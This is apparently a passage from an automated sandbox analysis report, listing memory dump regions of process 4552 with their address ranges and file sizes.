                                                                                                                                                                                                    • memory/4552-384-0x00007FFEFED00000-0x00007FFEFED24000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      144KB

                                                                                                                                                                                                    • memory/4552-383-0x00007FFEEE0B0000-0x00007FFEEE425000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      3.5MB

                                                                                                                                                                                                    • memory/4552-381-0x00007FFEEFA20000-0x00007FFEEFAD8000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      736KB

                                                                                                                                                                                                    • memory/4552-386-0x00007FFEFDF50000-0x00007FFEFDF64000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      80KB

                                                                                                                                                                                                    • memory/4552-385-0x00007FFEFF710000-0x00007FFEFF71F000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      60KB

                                                                                                                                                                                                    • memory/4552-387-0x00007FFEFE9B0000-0x00007FFEFE9DD000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      180KB

                                                                                                                                                                                                    • memory/4552-388-0x00007FFEFF1D0000-0x00007FFEFF1DD000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      52KB

                                                                                                                                                                                                    • memory/4552-390-0x00007FFEEEA70000-0x00007FFEEEB8C000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      1.1MB

                                                                                                                                                                                                    • memory/4552-389-0x00007FFEFE960000-0x00007FFEFE979000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      100KB

                                                                                                                                                                                                    • memory/4552-410-0x00007FFEF6450000-0x00007FFEF6473000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      140KB

                                                                                                                                                                                                    • memory/4552-457-0x00007FFEEFAE0000-0x00007FFEEFC53000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      1.4MB

                                                                                                                                                                                                    • memory/4552-375-0x00007FFEF6450000-0x00007FFEF6473000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      140KB

                                                                                                                                                                                                    • memory/4552-374-0x00007FFEFE960000-0x00007FFEFE979000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      100KB

                                                                                                                                                                                                    • memory/4552-373-0x00007FFEFE9B0000-0x00007FFEFE9DD000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      180KB

                                                                                                                                                                                                    • memory/4552-495-0x00007FFEFE660000-0x00007FFEFE679000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      100KB

                                                                                                                                                                                                    • memory/4552-368-0x00007FFEFF710000-0x00007FFEFF71F000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      60KB

                                                                                                                                                                                                    • memory/4552-367-0x00007FFEFED00000-0x00007FFEFED24000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      144KB

                                                                                                                                                                                                    • memory/4552-377-0x00007FFEFE660000-0x00007FFEFE679000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      100KB

                                                                                                                                                                                                    • memory/4552-528-0x00007FFEF0280000-0x00007FFEF02AE000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      184KB

                                                                                                                                                                                                    • memory/4552-530-0x0000019C07580000-0x0000019C078F5000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      3.5MB

                                                                                                                                                                                                    • memory/4552-529-0x00007FFEEFA20000-0x00007FFEEFAD8000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      736KB

                                                                                                                                                                                                    • memory/4552-533-0x00007FFEEE0B0000-0x00007FFEEE425000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      3.5MB

                                                                                                                                                                                                    • memory/4552-551-0x00007FFEEFAE0000-0x00007FFEEFC53000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      1.4MB

                                                                                                                                                                                                    • memory/4552-545-0x00007FFEEE430000-0x00007FFEEEA18000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      5.9MB

                                                                                                                                                                                                    • memory/4552-546-0x00007FFEFED00000-0x00007FFEFED24000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      144KB

                                                                                                                                                                                                    • memory/4552-570-0x00007FFEEE430000-0x00007FFEEEA18000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      5.9MB

                                                                                                                                                                                                    • memory/4552-590-0x00007FFEF6450000-0x00007FFEF6473000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      140KB

                                                                                                                                                                                                    • memory/4552-595-0x00007FFEEFA20000-0x00007FFEEFAD8000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      736KB

                                                                                                                                                                                                    • memory/4552-594-0x00007FFEF0280000-0x00007FFEF02AE000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      184KB

                                                                                                                                                                                                    • memory/4552-593-0x00007FFEFF500000-0x00007FFEFF50D000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      52KB

                                                                                                                                                                                                    • memory/4552-592-0x00007FFEFE660000-0x00007FFEFE679000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      100KB

                                                                                                                                                                                                    • memory/4552-591-0x00007FFEEFAE0000-0x00007FFEEFC53000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      1.4MB

                                                                                                                                                                                                    • memory/4552-589-0x00007FFEFE960000-0x00007FFEFE979000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      100KB

                                                                                                                                                                                                    • memory/4552-588-0x00007FFEFE9B0000-0x00007FFEFE9DD000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      180KB

                                                                                                                                                                                                    • memory/4552-587-0x00007FFEFF710000-0x00007FFEFF71F000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      60KB

                                                                                                                                                                                                    • memory/4552-586-0x00007FFEFED00000-0x00007FFEFED24000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      144KB

                                                                                                                                                                                                    • memory/4552-585-0x00007FFEEE0B0000-0x00007FFEEE425000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      3.5MB

                                                                                                                                                                                                    • memory/4552-598-0x00007FFEEEA70000-0x00007FFEEEB8C000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      1.1MB

                                                                                                                                                                                                    • memory/4552-597-0x00007FFEFF1D0000-0x00007FFEFF1DD000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      52KB

                                                                                                                                                                                                    • memory/4552-596-0x00007FFEFDF50000-0x00007FFEFDF64000-memory.dmp

                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                      80KB